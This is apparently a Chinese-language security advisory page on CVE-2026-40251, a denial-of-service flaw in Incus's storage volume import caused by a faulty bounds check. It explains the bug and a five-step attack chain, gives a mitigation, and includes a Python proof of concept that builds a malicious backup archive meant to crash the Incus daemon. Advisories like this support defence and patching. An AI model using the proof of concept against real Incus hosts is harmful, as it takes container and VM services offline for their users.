IPBUF安全漏洞报告
English
CVE-2026-40251 CVSS 6.5 中危

Incus 存储卷导入越界崩溃漏洞 (CVE-2026-40251)

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-40251
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

拒绝服务越界访问IncusDoS边界检查错误

漏洞概述

Incus 是一个系统容器和虚拟机管理器。在 7.0.0 版本之前,其存储卷导入逻辑中缺少验证,允许拥有存储卷访问权限的经过身份验证的用户导致 Incus 守护进程崩溃。备份恢复子系统包含一个由索引快照元数据数组时的无效边界检查引起的越界崩溃漏洞。攻击者可提交包含物理快照目录的备份存档,并提供篡改过的 index.yaml,导致守护进程崩溃,从而造成拒绝服务。

技术细节

该漏洞位于备份恢复子系统中,由索引快照元数据数组时的无效边界检查引起。当迭代备份存档中的物理快照时,循环使用索引在解析后的 `Config.Snapshots` 和 `Config.VolumeSnapshots` 切片中查找对应的元数据。代码中的保护条件 `len(slice) >= i-1` 存在逻辑错误,因为它在随后的 `slice[i]` 访问越界时仍可能评估为真。具体而言,当循环索引 `i` 递增以访问物理快照时,代码尝试在 `slice[i]` 处检索元数据。然而,检查 `len(slice) >= i-1` 在试图访问最后一个有效元素时未能正确防止越界访问,特别是在元数据数组被截断或为空但物理文件存在的情况下。这种逻辑缺陷允许索引超过切片长度,导致 Go 运行时 panic。攻击者可利用此缺陷,提交一个包含物理快照目录的备份存档,同时提供一个篡改过的 `index.yaml` 文件,其中包含空的或截断的快照元数据数组。这将导致守护进程索引超出元数据切片的末尾并发生崩溃。重复利用此问题可使 Incus 持续离线,造成拒绝服务。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行的是 7.0.0 之前的 Incus 版本,并拥有存储卷功能的访问权限。
STEP 2
2. 构造恶意存档
攻击者创建一个特制的备份存档,其中包含物理快照目录,但在 index.yaml 中将快照元数据数组设置为空或截断。
STEP 3
3. 导入存档
攻击者通过存储卷导入功能将此恶意存档上传到 Incus 守护进程。
STEP 4
4. 触发漏洞
Incus 守护进程处理存档时,由于错误的边界检查逻辑 `len(slice) >= i-1`,尝试访问越界索引。
STEP 5
5. 拒绝服务
守护进程触发 Panic 并崩溃,导致 Incus 服务不可用。攻击者可重复此过程维持拒绝服务状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import io import yaml # PoC for CVE-2026-40251 # Generates a malicious backup archive to trigger the out-of-bounds panic in Incus. def create_malicious_backup(): buffer = io.BytesIO() with tarfile.open(fileobj=buffer, mode='w:gz') as tar: # 1. Create a dummy physical snapshot directory/file # This represents a physical snapshot present in the archive snapshot_content = b"data" snap_file = io.BytesIO(snapshot_content) tarinfo = tarfile.TarInfo(name="backup/snapshots/snap0/rootfs") tarinfo.size = len(snapshot_content) tar.addfile(tarinfo, snap_file) # 2. Create a tampered index.yaml with empty snapshots array # The vulnerability is triggered because physical snapshots exist (step 1) # but the metadata array (below) is empty/truncated. metadata = { "container": { "name": "vuln-container", "snapshots": [] # Empty array triggers the len(slice) >= i-1 bug } } yaml_data = yaml.dump(metadata) index_file = io.BytesIO(yaml_data.encode('utf-8')) tarinfo_index = tarfile.TarInfo(name="backup/index.yaml") tarinfo_index.size = len(yaml_data.encode('utf-8')) tar.addfile(tarinfo_index, index_file) filename = "cve-2026-40251_poc.tar.gz" with open(filename, "wb") as f: f.write(buffer.getvalue()) print(f"[+] Created malicious archive: {filename}") print(f"[+] Upload this to Incus storage import to trigger DoS.") if __name__ == "__main__": create_malicious_backup()

影响范围

Incus < 7.0.0

防御指南

临时缓解措施
在升级到修复版本之前,建议限制对存储卷导入 API 的访问,仅允许受信任的管理员用户操作,以防止攻击者上传特制的恶意备份文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表